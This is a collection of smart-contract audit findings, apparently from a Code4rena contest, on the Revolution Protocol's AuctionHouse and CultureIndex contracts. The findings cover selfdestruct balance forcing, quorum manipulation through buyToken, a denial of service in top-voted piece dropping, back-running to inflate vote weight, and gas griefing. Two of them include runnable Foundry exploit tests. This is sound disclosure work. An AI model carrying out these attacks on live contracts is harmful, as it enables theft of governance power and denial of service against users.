Revolution Protocol - deth's results

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/AuctionHouse.sol#L348

Vulnerability details

Impact

There are two scenarios that can occur when an auction is settled.

One is that the auction is completed, the verb is transferred to the bidder, the bid amount transferred to the creators and so on.

The second scenario is when the bidder gets refunded his ETH and the verb is burned.

Taking a look at how we discern if an auction should be refunded we see this:

if (address(this).balance < reservePrice) {
            // If contract balance is less than reserve price, refund to the last bidder
            if (_auction.bidder != address(0)) {
                _safeTransferETHWithFallback(_auction.bidder, _auction.amount);
            }

            // And then burn the Noun
            verbs.burn(_auction.verbId);
        }

We compare the ETH balance of the AuctionHouse to the reservePrice , which can change.

AuctionHouse has only 2 ways to receive ETH, through the constructor when first deployed and through createBid , but there is also a third way to forcefully send ETH to a contract and that’s using selfdestruct .

Knowing this, users can manipulate auctions that should have been refunded, but instead, they will pass and the verb token will be transferred to the bidder.

This is a problem, as it’s manipulation of the state, an auction that should have been refunded and verb token burned, won’t be.

Obviously this shouldn’t happen as if the protocol expects for the auction to be refunded, it shouldn’t all of a sudden succeed and transfer the verb token to the bidder. If the verb token isn’t burned, it won’t change the quorumVotes for any future art pieces inside CultureIndex as the quorumVotes use both erc20VotingToken.totalSupply and erc721VotingToken.totalSupply to calculate the quorumVotes and will potentially transfer the verb token to someone malicious

Another scenario can occur, where a malicious user can do the same attack multiple times in order to stop all refunding and burning of verb tokens that are being auctioned off. This will lead to an inflation of verb tokens total supply and an inflation of the quorumVotes inside CultureIndex.

This breaks the logical flow of _settleAuction potentially leading to inflating the quorumVotes when creating art pieces, as if the token got burned, quorumVotes would be smaller than if it hadn’t been burned.

If done enough times with enough funds, a malicious actor can steal a large amount of voting weight and in order to counteract the fact, the protocol will be forced to reduce the erc721VotingTokenWeight which will affect all other holders of the tokens.

Proof of Concept

Scenario:

1. An auction is created for an art piece with reserveRatio = 1e18
2. The auction reaches it’s endTime with the bidder being Alice and the amount being 2e18 .
3. The protocol decides to bump up the reserveRatio to 3e18
4. When calling _settleAuction the auction should refund the 2e18 to Alice and burn the verb token.
5. Alice employs an MEV bot that front-runs _settleAuction , by using a contract that self destructs and sends it’s ETH balance to the AuctionHouse contract.
6. The contract self destructs, sending 1e18 of ETH to the AuctionHouse
7. _settleAuction is called and this check fails, as address(this).balance >= reserveRatio
8. The verb is transferred to Alice, not refunding and burning the verb as the protocol originally expected.
9. Alice now holds more voting weight than she did before and the quorumVotes stay the same after the _settleAuction while they should have gone down, if the verb got burned as the protocol expected.

Tools Used

Manual Review

Recommended Mitigation Steps

Use an internal state variable to keep track of the ETH balance of the contract. Using address(this).balance is a bad practice in general, as it can easily be manipulated.

Assessed type

ETH-Transfer

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L209-L249

Vulnerability details

Impact

Whenever a new piece is created through createPiece , quorumVotes is calculated based on quorumVotesBps and etc20VotingToken.totalSupply and erc721VotingToken.totalSupply .

function createPiece(
        ArtPieceMetadata calldata metadata,
        CreatorBps[] calldata creatorArray
    ) public returns (uint256) {
        uint256 creatorArrayLength = validateCreatorsArray(creatorArray);

        // Validate the media type and associated data
        validateMediaType(metadata);

        uint256 pieceId = _currentPieceId++;

        /// @dev Insert the new piece into the max heap
        maxHeap.insert(pieceId, 0);

        ArtPiece storage newPiece = pieces[pieceId];

        newPiece.pieceId = pieceId;
        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(),
            erc721VotingToken.totalSupply()
        );
        newPiece.totalERC20Supply = erc20VotingToken.totalSupply();
        newPiece.metadata = metadata;
        newPiece.sponsor = msg.sender;
        newPiece.creationBlock = block.number;
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

        for (uint i; i < creatorArrayLength; i++) {
            newPiece.creators.push(creatorArray[i]);
        }

        emit PieceCreated(pieceId, msg.sender, metadata, newPiece.quorumVotes, newPiece.totalVotesSupply);

        // Emit an event for each creator
        for (uint i; i < creatorArrayLength; i++) {
            emit PieceCreatorAdded(pieceId, creatorArray[i].creator, msg.sender, creatorArray[i].bps);
        }

        return newPiece.pieceId;
    }

The problem here is the usage of totalSupply in the calculation. The value can easily be manipulated through ERC20TokenEmitter.buyToken .

function buyToken(
        address[] calldata addresses,
        uint[] calldata basisPointSplits,
        ProtocolRewardAddresses calldata protocolRewardsRecipients
    ) public payable nonReentrant whenNotPaused returns (uint256 tokensSoldWad) {
        //prevent treasury from paying itself
        require(msg.sender != treasury && msg.sender != creatorsAddress, "Funds recipient cannot buy tokens");

        require(msg.value > 0, "Must send ether");
        // ensure the same number of addresses and bps
        require(addresses.length == basisPointSplits.length, "Parallel arrays required");

        // Get value left after protocol rewards
        uint256 msgValueRemaining = _handleRewardsAndGetValueToSend(
            msg.value,
            protocolRewardsRecipients.builder,
            protocolRewardsRecipients.purchaseReferral,
            protocolRewardsRecipients.deployer
        );

        //Share of purchase amount to send to treasury
        uint256 toPayTreasury = (msgValueRemaining * (10_000 - creatorRateBps)) / 10_000;

        //Share of purchase amount to reserve for creators
        //Ether directly sent to creators
        uint256 creatorDirectPayment = ((msgValueRemaining - toPayTreasury) * entropyRateBps) / 10_000;
        //Tokens to emit to creators
        int totalTokensForCreators = ((msgValueRemaining - toPayTreasury) - creatorDirectPayment) > 0
            ? getTokenQuoteForEther((msgValueRemaining - toPayTreasury) - creatorDirectPayment)
            : int(0);

        // Tokens to emit to buyers
        int totalTokensForBuyers = toPayTreasury > 0 ? getTokenQuoteForEther(toPayTreasury) : int(0);

        //Transfer ETH to treasury and update emitted
        emittedTokenWad += totalTokensForBuyers;
        if (totalTokensForCreators > 0) emittedTokenWad += totalTokensForCreators;

        //Deposit funds to treasury
        (bool success, ) = treasury.call{ value: toPayTreasury }(new bytes(0));
        require(success, "Transfer failed.");

        //Transfer ETH to creators
        if (creatorDirectPayment > 0) {
            (success, ) = creatorsAddress.call{ value: creatorDirectPayment }(new bytes(0));
            require(success, "Transfer failed.");
        }

        //Mint tokens for creators
        if (totalTokensForCreators > 0 && creatorsAddress != address(0)) {
            _mint(creatorsAddress, uint256(totalTokensForCreators));
        }

        uint256 bpsSum = 0;

        //Mint tokens to buyers

        for (uint256 i = 0; i < addresses.length; i++) {
            if (totalTokensForBuyers > 0) {
                // transfer tokens to address
                _mint(addresses[i], uint256((totalTokensForBuyers * int(basisPointSplits[i])) / 10_000));
            }
            bpsSum += basisPointSplits[i];
        }

        require(bpsSum == 10_000, "bps must add up to 10_000");

        emit PurchaseFinalized(
            msg.sender,
            msg.value,
            toPayTreasury,
            msg.value - msgValueRemaining,
            uint256(totalTokensForBuyers),
            uint256(totalTokensForCreators),
            creatorDirectPayment
        );

        return uint256(totalTokensForBuyers);
    }

The function mints new tokens to several addresses, which increases the total supply of the token. The function has no access control and can be called by anyone, freely.

The protocol team has stated:

this is somewhat expected, but i'm not sure if it throws off the economics of the system, but ideally most people are interfacing with buyToken through the AuctionHouse, commerce contracts, or minting contracts, not buying directly.

It doesn’t break the economics of the system as everything is calculated correctly, but the functionality can be used maliciously by users to influence the quorumVotes for a piece, making it much harder and in some cases impossible to pass.

Proof of Concept

Scenario:

We are assuming erc20VotingToken.totalSupply == 100e18 , quorumVotesBps == 6000 and that Alice and Bob hold a total of 60e18 of the voting weight, which is enough to make the piece eligible to be dropped. For simplicity we are assuming erc721VotingToken.totalSupply == 0.

1. Alice calls createPiece . The piece has to reach 60e18 to pass it’s quorumVotes in order for the piece to be eligible to be dropped.
2. Charlie front runs Alice and calls buyToken and a 100e18 new tokens are minted.
3. Alice’s tx goes through and now:

erc20VotingToken.totalSupply == 200e18 and quorumVotes == 120e18

1. At this point even if Alice and Bob vote for the piece, it can never reach quorumVotes as they only hold 60e18 voting weight, which is around 30% of the entire voting weight.
2. Charlie manipulated the quorumVotes , making it impossible for Alice’s piece to be dropped.

Since buyToken is supposed to be used through different contracts, as the sponsor stated, buyToken should have some access control to stop users from straight up buying tokens.

Note that there is no financial loss for Charlie, as he just “trades” his ETH for tokens.

Tools Used

Manual Review

Recommended Mitigation Steps

Add access control to buyToken that only allows specific contracts to interface with the function.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L519-L534

Vulnerability details

Impact

CultureIndex is responsible for the creation, voting and dropping (auctioning off) art pieces.

Let’s focus on dropTopVotedPiece . The function is used by the AuctionHouse to take the top voted art piece, drop it and auction it off.

function dropTopVotedPiece() public nonReentrant returns (ArtPiece memory) {
        require(msg.sender == dropperAdmin, "Only dropper can drop pieces");

        ICultureIndex.ArtPiece memory piece = getTopVotedPiece(); 
        require(totalVoteWeights[piece.pieceId] >= piece.quorumVotes, "Does not meet quorum votes to be dropped.");
        

        //set the piece as dropped
        pieces[piece.pieceId].isDropped = true;

        //slither-disable-next-line unused-return
        maxHeap.extractMax();

        emit PieceDropped(piece.pieceId, msg.sender);

        return pieces[piece.pieceId];
    }

Notice how the top voted piece is retrieved and then we check if totalVoteWeight > quorumVotes . This is used to check if the piece has reached it’s quorum, which is cached during creation.

newPiece.pieceId = pieceId;
        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(), 
            erc721VotingToken.totalSupply() 
        );
        newPiece.totalERC20Supply = erc20VotingToken.totalSupply(); 
        newPiece.metadata = metadata;
        newPiece.sponsor = msg.sender; 
        newPiece.creationBlock = block.number
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

Notice that for quorumVotes we use the erc20VotingToken.totalSupply , erc721VotingToken.totalSupply and quorumVotesBPS.

Knowing all this, a malicious user can do the following to break dropTopVotedPiece under certain conditions.

He will call ERC20TokenEmitter#buyToken to buy the voting token, which in turn will inflate the erc20VotingToken.totalSupply , which will also increase the newPiece.quorumVotes .

After this he will create a new bogus art piece and its quorum votes will be inflated. (We are assuming that no one wants to vote for the art piece as it’s a bogus/fake art piece)

He will then vote for his new piece, making it the top voted piece, but the piece won’t reach it’s quorum so it cannot be dropped.

At this point one of the following can occur:

1. Users will wait for a new piece to be created and become top voted, dropped and auctioned off. The protocol might work normally at this point, but once the bogus/fake piece becomes top voted again, it still can’t be dropped. If the quorum for the fake piece isn’t reached, it can never be dropped, meaning that all pieces that have less votes than it and are eligible to be dropped (they reached their quorum) can never be reached, since the fake piece can technically stay there forever.
2. Users will be forced to vote for the bogus/fake piece in order to push it over it’s quorum so it can be dropped. Obviously this isn’t ideal as it requires to persuade users to spend gas to vote for something that they don’t want to, just so the protocol can continue working correctly. After the bogus piece gets dropped it needs to go into an auction, which has a duration so users will also have to wait for the auction to terminate, get settled and then the protocol can continue normally, which will waste time and increase the duration of the DoS.
3. Users that voted for a piece that is eligible to be dropped, but doesn’t have more votes than the fake piece, will be forced to create a new piece and start voting on all over again. This isn’t ideal, as the quorumVotes for the piece will be different and it isn’t even sure that the new piece will be accepted under the new market conditions.

All 3 of the scenarios are bad for the normal execution of the protocol and especially under scenario 1, can leave pieces to just rot, as they can never be reached.

Note that the malicious user that does the attack, doesn’t lose any funds, as he is just paying to buy the voting token, also the attack scenario can happen on it’s own naturally, without the use of buyToken , but it will still lead to 1 of the 3 followup scenarios.

This scenario can happen naturally, without anyone being malicious and the attack doesn't rely on the fact that anyone can call buyToken , it just makes it easier.

The sponsor has stated that in the future there will contracts that interface with buyToken , so even if access control is added to the function, it still won't fix the issue.

this is somewhat expected, but i'm not sure if it throws off the economics of the system, but ideally most people are interfacing with buyToken through the AuctionHouse, commerce contracts, or minting contracts, not buying directly.

Proof of Concept

Create a folder inside revolution/test called CustomTests , create a new file called CustomTests.t.sol , paste the following inside and run forge test --mt testTopVotedPieceCantReachQuorum -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";
import { unsafeWadDiv } from "../../src/libs/SignedWadMath.sol";
import { ERC20TokenEmitter } from "../../src/ERC20TokenEmitter.sol";
import { IERC20TokenEmitter } from "../../src/interfaces/IERC20TokenEmitter.sol";
import { NontransferableERC20Votes } from "../../src/NontransferableERC20Votes.sol";
import { RevolutionProtocolRewards } from "@collectivexyz/protocol-rewards/src/RevolutionProtocolRewards.sol";
import { wadDiv } from "../../src/libs/SignedWadMath.sol";
import { IRevolutionBuilder } from "../../src/interfaces/IRevolutionBuilder.sol";
import { RevolutionBuilderTest } from "../RevolutionBuilder.t.sol";
import { INontransferableERC20Votes } from "../../src/interfaces/INontransferableERC20Votes.sol";
import { ERC1967Proxy } from "../../src/libs/proxy/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { CultureIndex } from "../../src/CultureIndex.sol";
import { ICultureIndex } from "../../src/interfaces/ICultureIndex.sol";

contract ERC20TokenEmitterTest is RevolutionBuilderTest {
    event Log(string, uint);

    // 1,000 tokens per day is the target emission
    uint256 tokensPerTimeUnit = 1_000;

    uint256 expectedVolume = tokensPerTimeUnit * 1e18;

    string public tokenNamePrefix = "Vrb";

    function setUp() public override {
        super.setUp();
        super.setMockParams();

        super.setERC721TokenParams("Mock", "MOCK", "https://example.com/token/", tokenNamePrefix);

        int256 oneFullTokenTargetPrice = 1 ether;

        int256 priceDecayPercent = 1e18 / 10;

        super.setERC20TokenEmitterParams(
            oneFullTokenTargetPrice,
            priceDecayPercent,
            int256(1e18 * tokensPerTimeUnit),
            creatorsAddress
        );

        super.deployMock();

        vm.deal(address(0), 100000 ether);
    }

    function testTopVotedPieceCantReachQuorum() public {
        // Setup no fees for the creator for simplicity of the test and the values
        vm.startPrank(erc20TokenEmitter.owner());
        erc20TokenEmitter.setCreatorsAddress(address(1));
        erc20TokenEmitter.setCreatorRateBps(0);
        erc20TokenEmitter.setEntropyRateBps(0);
        vm.stopPrank();

        // Set quorumVotesBps to 6000 (60%)
        vm.prank(cultureIndex.owner());
        cultureIndex._setQuorumVotesBPS(6000);

        // Setup Alice, Bob and Charlie
        address alice = address(9);
        vm.deal(alice, 100000 ether);
        address bob = address(10);
        vm.deal(bob, 100000 ether);
        address charlie = address(11);
        vm.deal(charlie, 100000 ether);

        // Bob buys tokens
        address[] memory recipients = new address[](1);
        recipients[0] = bob;
        uint256[] memory bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(bob);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        // Charlie buys tokens
        recipients = new address[](1);
        recipients[0] = charlie;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(charlie);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        // Alice buys tokens
        recipients = new address[](1);
        recipients[0] = alice;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(alice);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        vm.roll(block.number + 10);

        // Bob creates a piece
        vm.prank(bob);
        uint256 bobsPiece = createDefaultArtPiece(bob);

        vm.roll(block.number + 10);

        // Bob votes for his piece
        vm.prank(bob);
        cultureIndex.vote(bobsPiece);

        // Bob's piece is the top voted one
        assertEq(cultureIndex.topVotedPieceId(), bobsPiece);

        // Bobs piece hasn't passed it's quorum
        ICultureIndex.ArtPiece memory piece = cultureIndex.getTopVotedPiece();
        assertLt(cultureIndex.totalVoteWeights(piece.pieceId), piece.quorumVotes);
        
        // Alice buys tokens again
        recipients = new address[](1);
        recipients[0] = alice;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(alice);
        erc20TokenEmitter.buyToken{ value: 15e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );
        
        vm.roll(block.number + 1);

        // Alice creates a piece
        vm.prank(alice);
        uint256 alicesPiece = createDefaultArtPiece(alice);

        vm.roll(block.number + 1);
        // Alice votes on her piece next block
        // She votes enough to be the top voted piece, but not enough to pass her quorum
        vm.prank(alice);
        cultureIndex.vote(alicesPiece);
        
        // Now Alice's piece is the top voted one
        assertEq(cultureIndex.topVotedPieceId(), alicesPiece);

        // Her piece is the top voted one, but hasn't reached her quorum
        piece = cultureIndex.getTopVotedPiece();
        assertLt(cultureIndex.totalVoteWeights(piece.pieceId), piece.quorumVotes);
        assertEq(piece.pieceId, alicesPiece);

        // Alice's piece cannot be dropped
        vm.startPrank(cultureIndex.dropperAdmin());
        vm.expectRevert();
        cultureIndex.dropTopVotedPiece();

        // At this point Alice's piece will stay top voted,
        // Since Bob and Charlie don't want to vote on her art piece
        // Even if they did, this way an unpopular art piece might be forced into
        // being auctioned off in the AuctionHouse, which will DoS the users of the protocol for even longer
    }

    function createArtPiece(
        string memory name,
        string memory description,
        ICultureIndex.MediaType mediaType,
        string memory image,
        string memory text,
        string memory animationUrl,
        address creatorAddress,
        uint256 creatorBps
    ) internal returns (uint256) {
        ICultureIndex.ArtPieceMetadata memory metadata = ICultureIndex.ArtPieceMetadata({
            name: name,
            description: description,
            mediaType: mediaType,
            image: image,
            text: text,
            animationUrl: animationUrl
        });

        ICultureIndex.CreatorBps[] memory creators = new ICultureIndex.CreatorBps[](1);
        creators[0] = ICultureIndex.CreatorBps({ creator: creatorAddress, bps: creatorBps });

        return cultureIndex.createPiece(metadata, creators);
    }
    
    function createDefaultArtPiece(address creator) public returns (uint256) {
        return
            createArtPiece(
                "Mona Lisa",
                "A masterpiece",
                ICultureIndex.MediaType.IMAGE,
                "ipfs://legends",
                "",
                "",
                creator,
                10000
            );
    }
}

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

There isn't a very elegant way to fix this, as this is how a Max Heap is supposed to function. One way is to add an admin function that can forcefully drop a piece from the Max Heap.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L313

Vulnerability details

Impact

When creating an art piece through CultureIndex.createPiece one very important property is cached, quorumVotes.

It is calculated like so:

newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(), 
            erc721VotingToken.totalSupply() 
        );
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

You can see that it uses quorumVotesBPS and newPieceTotalVotesSupply .

Based on quorumVotes we can see if a art piece is eligible to be dropped or not.

Let’s examine how we vote for a piece:

function _vote(uint256 pieceId, address voter) internal {
        require(pieceId < _currentPieceId, "Invalid piece ID");
        require(voter != address(0), "Invalid voter address");
        require(!pieces[pieceId].isDropped, "Piece has already been dropped");
        require(!(votes[pieceId][voter].voterAddress != address(0)), "Already voted");

        uint256 weight = _getPastVotes(voter, pieces[pieceId].creationBlock); 
        require(weight > minVoteWeight, "Weight must be greater than minVoteWeight");

        votes[pieceId][voter] = Vote(voter, weight);
        totalVoteWeights[pieceId] += weight;

        uint256 totalWeight = totalVoteWeights[pieceId];

        // TODO add security consideration here based on block created to prevent flash attacks on drops?
        maxHeap.updateValue(pieceId, totalWeight); 
        emit VoteCast(pieceId, voter, weight, totalWeight);
    }

You’ll notice that we get the voting weight through _getPastVotes

function _getPastVotes(address account, uint256 blockNumber) internal view returns (uint256) {
        return
            _calculateVoteWeight(
                erc20VotingToken.getPastVotes(account, blockNumber),
                erc721VotingToken.getPastVotes(account, blockNumber) //@audit-issue the NFT can be transferred to double vote with it
            );
    }

The function getPastVotes is an OZ function inside VotesUpgradeable :

function getPastVotes(address account, uint256 timepoint) public view virtual returns (uint256) {
        VotesStorage storage $ = _getVotesStorage();
        uint48 currentTimepoint = clock();
        if (timepoint >= currentTimepoint) {
            revert ERC5805FutureLookup(timepoint, currentTimepoint);
        }
        return $._delegateCheckpoints[account].upperLookupRecent(SafeCast.toUint48(timepoint));
    }

You’ll notice the if statement reverts if we try to vote inside the same block, this is to prevent the popular double voting governance attack.

Knowing this you might assume that a user can’t vote in the same block as when a piece is created, and you will be correct, but he can still vote with a checkpoint/snapshot of his voting weight that was created in the same block as the piece was created.

 uint256 weight = _getPastVotes(voter, pieces[pieceId].creationBlock);

Notice how we pass in pieces[pieceId].creationBlock for the timepoint inside _getPastVotes .

Because we are using creationBlock , the following can occur:

1. Alice calls createPiece and erc20VotingToken.totalSupply == 10e18 and newPiece.totalVotesSupply == 10e18 (we are excluding the erc721VotingToken in the scenario for simplicity)
2. Alice back-runs her createPiece and calls ERC20TokenEmitter.buyToken and mints 20e18 tokens to herself
3. Alice waits 1 block and votes for her piece.
4. At this point newPiece.totalVotesSupply == 10e18 , but the total weight that can be used to vote is 30e18. Because of this quorumVotes can much easily be reached, because the new 20e18 voting weight hasn’t been accounted for when the piece was created.

Something to note is that the same scenario can occur when _settleAuction is called. A malicious creator can reenter through _safeTransferETHWithFallback and call createPiece . The next line inside _settleAuction calls buyToken , so the effect will be the same, although more difficult to pull of and not as effective.

Note that the problem here is that we use creationBlock as the timepoint to retrieve the voting weight, not that a user can freely call buyToken

The bellow PoC showcases the scenario with the back-run, as it’s more effective and simple to showcase, and in both scenarios, the root cause is the same. (We are using _getPastVotes(voter, pieces[pieceId].creationBlock); instead of _getPastVotes(voter, pieces[pieceId].creationBlock - 1);)

Proof of Concept

Paste the following inside Voting.t.sol and run forge test --mt testBackRunningCreatePiece -vvvv

function testBackRunningCreatePiece() public {
        // Note: the values in the assertions are not exactly 10e18, 20е18 etc
        // because of the different fees that are taken into account, 
        // but they do not affect the test or the exploit in any way.

        vm.stopPrank();
        vm.prank(cultureIndex.owner());
        cultureIndex._setQuorumVotesBPS(6000); // Set to 60%
        // Setup Alice and Bob
        address alice = address(9);
        vm.deal(alice, 100000 ether);
        address bob = address(10);
        vm.deal(bob, 100000 ether);

        // Alice buys tokens
        address[] memory recipients = new address[](1);
        recipients[0] = alice;
        uint256[] memory bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(alice);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        // Bob buys tokens
        recipients = new address[](1);
        recipients[0] = bob;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(bob);
        erc20TokenEmitter.buyToken{ value: 10e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        vm.roll(block.number + 1);

        // Alice creates a piece
        vm.prank(alice);
        uint256 artPieceId = createDefaultArtPiece();

        // We can see that totalERC20Supply == 20e18
        ICultureIndex.ArtPiece memory piece = cultureIndex.getTopVotedPiece();
        assertEq(piece.totalERC20Supply, 19479995726861551000);

        // Alice back runs createPiece and buys 20e18 tokens
        recipients = new address[](1);
        recipients[0] = alice;
        bps = new uint256[](1);
        bps[0] = 10_000;

        vm.prank(alice);
        erc20TokenEmitter.buyToken{ value: 20e18 }(
            recipients,
            bps,
            IERC20TokenEmitter.ProtocolRewardAddresses({
                builder: address(0),
                purchaseReferral: address(0),
                deployer: address(0)
            })
        );

        // Alice waits 1 block to vote
        vm.roll(block.number + 1);

        // Alice votes on the piece
        vm.prank(alice);
        cultureIndex.vote(artPieceId);

        // You can see that totalERC20Supply is still 20e18
        piece = cultureIndex.getTopVotedPiece();
        assertEq(piece.totalERC20Supply, 19479995726861551000);

        // But totalVotingWeight is 30e18, which is more weight
        // than what should be usable to vote for this piece
        assertEq(cultureIndex.totalVoteWeights(piece.pieceId), 29185091933615964000);

        // Alice should have only 10e18 voting weight
        // and she shouldn't be able to push the piece over the 60% quorum threshold,
        // but she did
        assertGt(cultureIndex.totalVoteWeights(piece.pieceId), piece.quorumVotes);
    }

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Change this line _getPastVotes(voter, pieces[pieceId].creationBlock); to

_getPastVotes(voter, pieces[pieceId].creationBlock - 1);

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/AuctionHouse.sol#L419-L443

Vulnerability details

Impact

When an art piece is created, the user creating the piece can set addresses as creators, up to a maximum of 100 addresses.

Whenever an auction is getting settled, two scenarios can occur:

1. The bidder gets refunded his ETH and the verb token gets burned.
2. The verb is transferred to the bidder and the ETH amount is transferred to different addresses, tokens are bought and so on.

The second scenario involves sending a percentage of the bidder’s amount to the creators that were mentioned above, using _safeTransferETHWithFallback.

//Transfer creator's share to the creator, for each creator, and build arrays for erc20TokenEmitter.buyToken
                if (creatorsShare > 0 && entropyRateBps > 0) {
                    for (uint256 i = 0; i < numCreators; i++) {
                        ICultureIndex.CreatorBps memory creator = verbs.getArtPieceById(_auction.verbId).creators[i];
                        vrgdaReceivers[i] = creator.creator; 
                        vrgdaSplits[i] = creator.bps; 

                        //Calculate paymentAmount for specific creator based on BPS splits - same as multiplying by creatorDirectPayment
                        uint256 paymentAmount = (creatorsShare * entropyRateBps * creator.bps) / (10_000 * 10_000);
                        ethPaidToCreators += paymentAmount;

                        //Transfer creator's share to the creator
                        _safeTransferETHWithFallback(creator.creator, paymentAmount); 
                    }
                }

function _safeTransferETHWithFallback(address _to, uint256 _amount) private {
        // Ensure the contract has enough ETH to transfer
        if (address(this).balance < _amount) revert("Insufficient balance"); 

        // Used to store if the transfer succeeded
        bool success;

        assembly {
            // Transfer ETH to the recipient
            // Limit the call to 50,000 gas
            success := call(50000, _to, _amount, 0, 0, 0, 0) 
        }

        // If the transfer failed:
        if (!success) {
            // Wrap as WETH
            IWETH(WETH).deposit{ value: _amount }();

            // Transfer WETH instead
            //@audit-issue there might not be enough WETH in the contract
            bool wethSuccess = IWETH(WETH).transfer(_to, _amount); 

            // Ensure successful transfer
            if (!wethSuccess) revert("WETH transfer failed"); 
        }
    }

We loop through all creators and then attempt to send them ETH with a low level YUL call, if that fails WETH is transferred instead.

Notice that the YUL call, limits the gas to only 50_000. This is so that the external call doesn’t consume all the gas and brick the function, but it can still be exploited maliciously.

Proof of Concept

Let’s take a look at an example:

1. An art piece gets created. The creators array gets populated up to it’s limit of 100. Every single address is the same, a contract address that consumes all gas in it’s receive/fallback functions.
2. The piece gets auctioned off and someone calls settleAuction
3. Once we reach the line, where it’s time to pay the creators shares, each time the YUL call gets executed, the to address will consume all the gas.
4. The to address consumes all gas 100 times, consuming a total of 5m gas, which is ~700$ on Ethereum.
5. The caller of settleAuction has to pay at a minimum 700$ for the tx. This doesn’t account the extra loop in buyToken where we again loop through all 100 addresses to mint tokens for them.

//Mint tokens for creators
        if (totalTokensForCreators > 0 && creatorsAddress != address(0)) {
            _mint(creatorsAddress, uint256(totalTokensForCreators));
        }

In total the caller of settleAuction has to pay a minimum of 700$ for a simple tx.

There is no limit to how many times this can occur as there is nothing stopping users from maliciously creating pieces that do this sort of griefing.

Tools Used

Manual Review

Recommended Mitigation Steps

Decrease MAX_NUM_CREATORS to less. 10-20 seems like a logical maximum for the number of creators an NFT can have.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/AuctionHouse.sol#L171-L200 https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/AuctionHouse.sol#L336-L414

Vulnerability details

Impact

AuctionHouse implements a special timeBuffer , which is used to extend an auction by it, if a bid is created during said timeBuffer .

function createBid(uint256 verbId, address bidder) external payable override nonReentrant {
        IAuctionHouse.Auction memory _auction = auction;

        //require bidder is valid address
        require(bidder != address(0), "Bidder cannot be zero address");
        require(_auction.verbId == verbId, "Verb not up for auction");
        //slither-disable-next-line timestamp
        require(block.timestamp < _auction.endTime, "Auction expired");
        require(msg.value >= reservePrice, "Must send at least reservePrice");
        require(
            msg.value >= _auction.amount + ((_auction.amount * minBidIncrementPercentage) / 100),
            "Must send more than last bid by minBidIncrementPercentage amount"
        );

        address payable lastBidder = _auction.bidder;

        auction.amount = msg.value;
        auction.bidder = payable(bidder);

        // Extend the auction if the bid was received within `timeBuffer` of the auction end time
        bool extended = _auction.endTime - block.timestamp < timeBuffer;
        if (extended) auction.endTime = _auction.endTime = block.timestamp + timeBuffer;

        // Refund the last bidder, if applicable
        if (lastBidder != address(0)) _safeTransferETHWithFallback(lastBidder, _auction.amount);

        emit AuctionBid(_auction.verbId, bidder, msg.sender, msg.value, extended);

        if (extended) emit AuctionExtended(_auction.verbId, _auction.endTime);
    }

If the timeBuffer is 10 minutes, if someone bids in the last 10 minutes of the auction, the auction endTime will be extended by 10 minutes.

This is implemented to give a fair chance for all bidders to big on the auction, if the auction is especially competitive.

The protocol also plans to deploy to Base and Optimism.

• Ethereum (targeting Base and Optimism L2s)

Transactions on Optimism and Base are much cheaper than Ethereum, which opens up a rare attack vector: block stuffing.

A malicious user stuffs an entire block with dummy transactions that consume the entire block gas limit, which is 30m gas on Optimism or ~7$ worth of gas, basically, it’s extremely cheap.

